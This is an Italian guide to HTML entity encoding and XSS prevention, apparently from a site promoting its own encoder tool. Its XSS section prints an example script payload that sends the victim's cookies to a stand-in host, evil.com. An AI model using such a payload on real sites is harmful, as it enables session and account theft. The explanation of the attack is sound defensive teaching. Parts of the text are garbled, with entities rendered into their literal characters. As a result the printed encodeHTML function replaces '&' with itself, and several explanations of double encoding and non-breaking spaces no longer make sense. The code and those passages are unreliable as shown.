Guida alla Codifica delle Entità HTML: Proteggi le Tue Pagine Web

Se hai mai provato a mostrare un tag <div> come testo in una pagina web e l'hai visto scomparire nel DOM, conosci già il problema. I browser interpretano certi caratteri come istruzioni di markup, non come contenuto. Le entità HTML sono il modo per dire al browser: "mostra questo carattere letteralmente, non interpretarlo."

Questa guida copre le entità che userai davvero, quando la codifica è importante e come evitare le vulnerabilità di sicurezza che derivano dal saltarla.

Perché le Entità HTML Esistono

L'HTML usa un pugno di caratteri come delimitatori strutturali. I tre principali:

• < apre un tag
• > chiude un tag
• & avvia un riferimento a un'entità

Quando il parser del browser incontra <script>, non mostra il testo — esegue JavaScript. Quando incontra ©, renderizza ©. Questa doppia natura significa che se vuoi mostrare questi caratteri come testo visibile, devi escaparli usando entità HTML.

Un'entità HTML è una stringa che inizia con & e finisce con ;. Tra questi delimitatori c'è un riferimento nominato (come amp) o un code point numerico (come #38).

Riferimento delle Entità HTML Comuni

Ecco le entità che userai più spesso:

Le prime cinque sono obbligatorie. Se stai renderizzando contenuti generati dagli utenti o mostrando codice, userai &, <, >, " e ' costantemente.

Spazio Non Interrompibile: Il Sottile

  impedisce un'interruzione di riga tra due parole. Non è semplicemente "uno spazio in più" — i browser comprimono più spazi regolari in uno, ma   viene sempre renderizzato. Usalo per:

• Tenere le unità di misura con i numeri: 100 km
• Prevenire parole orfane alla fine dei paragrafi
• Formattare i prezzi: € 99,99

Non usare   per la spaziatura del layout. Per quello ci sono margin e padding del CSS.

Entità Nominate vs Numeriche vs Esadecimali

Ci sono tre modi per scrivere la stessa entità:

<!-- Entità nominata -->
&amp;

<!-- Entità numerica decimale -->
&#38;

<!-- Entità numerica esadecimale -->
&#x26;

Tutte e tre producono il carattere e commerciale &. Quando usare ciascuna:

Le entità nominate (&, <, ©) sono leggibili e auto-documentanti. Quando qualcuno legge il codice sorgente HTML, & comunica immediatamente l'intenzione. Usale per i caratteri comuni.

Le entità numeriche decimali (&, ©) funzionano per qualsiasi code point Unicode, compresi i caratteri senza riferimenti nominati. Usale quando hai bisogno di caratteri senza entità nominate o quando generi HTML in modo programmatico.

Le entità esadecimali (&, ©) sono identiche a quelle decimali ma usano la notazione esadecimale. Utili quando lavori con le tabelle Unicode (che elencano i code point in hex) o quando i tuoi strumenti producono valori hex.

Nella pratica, usa le entità nominate per quelle comuni e le numeriche per tutto il resto. Le entità nominate sono supportate da tutti i browser e sono molto più facili da leggere nel codice sorgente.

Quando Codificare i Caratteri HTML

Mostrare Frammenti di Codice

Se la tua pagina mostra esempi di codice, ogni < e > ha bisogno di codifica:

<!-- Questo si rompe -->
<p>Usa il tag <div> per i container.</p>

<!-- Questo funziona -->
<p>Usa il tag &lt;div&gt; per i container.</p>

La maggior parte dei template engine e dei framework gestisce questo automaticamente quando usi la loro sintassi di output standard. Ma quando scrivi HTML grezzo o inietti contenuto con innerHTML, sei da solo.

Contenuti Generati dagli Utenti

Qualsiasi contenuto che proviene dagli utenti — input dei form, commenti, campi del profilo, query di ricerca — deve essere codificato prima del rendering. Questo è un requisito di sicurezza, non opzionale.

Email HTML

I client email sono notoriamente inconsistenti nel rendering dei caratteri. Codificare i caratteri speciali come entità garantisce la visualizzazione corretta in Gmail, Outlook, Apple Mail e qualsiasi altro client.

Sistemi di Gestione dei Contenuti

Se stai costruendo o usando un CMS, la pipeline dei contenuti dovrebbe codificare le entità HTML nella fase di output. Il contenuto nel database può essere grezzo, ma quello che arriva al browser deve essere escapato.

Prevenzione XSS: Perché la Codifica È una Questione di Sicurezza

Come Funziona XSS

Considera una pagina di ricerca che mostra cosa ha cercato l'utente:

<!-- Il server renderizza questo -->
<p>Hai cercato: INPUT_UTENTE</p>

Se un utente inserisce testo normale come javascript tutorials, nessun problema. Ma se inserisce:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Senza codifica, il browser vede un vero tag <script> e lo esegue. L'attaccante ora ha i cookie della vittima, i token di sessione e potenzialmente l'accesso completo all'account.

La Soluzione

Codifica i cinque caratteri critici prima di inserire qualsiasi dato non affidabile nell'HTML:

Una funzione di codifica minimale:

function encodeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Nota l'ordine: & deve essere sostituito per primo. Se sostituisci prima < (producendo <) e poi & (trasformando < in <), ottieni una doppia codifica.

Protezione a Livello di Framework

I framework moderni gestiscono la codifica di default:

• React: JSX escapa automaticamente i valori nelle espressioni {}. dangerouslySetInnerHTML aggira questo — evitalo con contenuti utente.
• Angular: I binding dei template vengono sanitizzati automaticamente. [innerHTML] aggira la sanitizzazione.
• Vue: La sintassi mustache {{ }} escapa automaticamente. v-html no.
• Template lato server (EJS, Jinja2, Twig): La maggior parte escapa di default, ma verifica la tua configurazione.

Lo schema è coerente: il percorso standard è sicuro, e c'è sempre una via d'uscita per l'HTML grezzo. Non far mai passare l'input dell'utente attraverso la via d'uscita.

Codifica HTML con il Nostro Strumento

Hai bisogno di codificare o decodificare entità HTML rapidamente? Il nostro strumento Codificatore HTML lo gestisce istantaneamente:

• Incolla il tuo testo e ottieni l'output codificato con un clic
• Supporta tutte le entità nominate e numeriche
• Decodifica le entità di nuovo in testo leggibile
• Tutto viene elaborato lato client — i tuoi dati non lasciano mai il browser

Particolarmente utile per preparare contenuti per email HTML, codificare frammenti di codice per la documentazione o sanitizzare testo prima di incorporarlo nei template.

Errori Comuni da Evitare

Doppia codifica: Passare il testo attraverso un codificatore due volte trasforma & in &. Se vedi & apparire come testo letterale nella pagina, c'è stata una doppia codifica da qualche parte nella pipeline.

Codificare dentro i tag <script>: La codifica delle entità HTML non funziona dentro i blocchi script. Il parser JavaScript non capisce < — lo vede come la stringa letterale <. Per gli script inline, usa l'escaping delle stringhe JavaScript.

Usare   per la spaziatura: Questo crea problemi di accessibilità. I lettori di schermo potrebbero pronunciare ogni spazio non interrompibile individualmente. Usa il CSS per la spaziatura visiva.

Dimenticare i valori degli attributi: La codifica non riguarda solo il contenuto testuale. Anche i valori degli attributi hanno bisogno di codifica, specialmente se contengono input dell'utente:

<!-- Pericoloso -->
<input value="INPUT_UTENTE">

<!-- Sicuro -->
<input value="&quot;valore&quot; codificato">

Riferimento Rapido: Albero Decisionale della Codifica

1. Il contenuto è generato dall'utente? → Codifica sempre
2. Stai mostrando codice? → Codifica <, > e &
3. Va in un attributo HTML? → Codifica anche " e '
4. Va in un URL? → Usa la codifica URL (vedi la nostra Guida alla Codifica URL)
5. Va in JavaScript? → Usa l'escaping JavaScript, non le entità HTML

Risorse Correlate

• Codifica Base64 Spiegata — comprendi un altro formato di codifica essenziale per lo sviluppo web
• Guida alla Codifica URL — scopri quando e come codificare in percentuale i caratteri negli URL
• Strumento Codificatore HTML — codifica e decodifica entità HTML istantaneamente nel browser

---

🛠️ Prova il nostro Codificatore HTML per codificare e decodificare entità HTML direttamente nel browser — nessun dato inviato a qualsiasi server.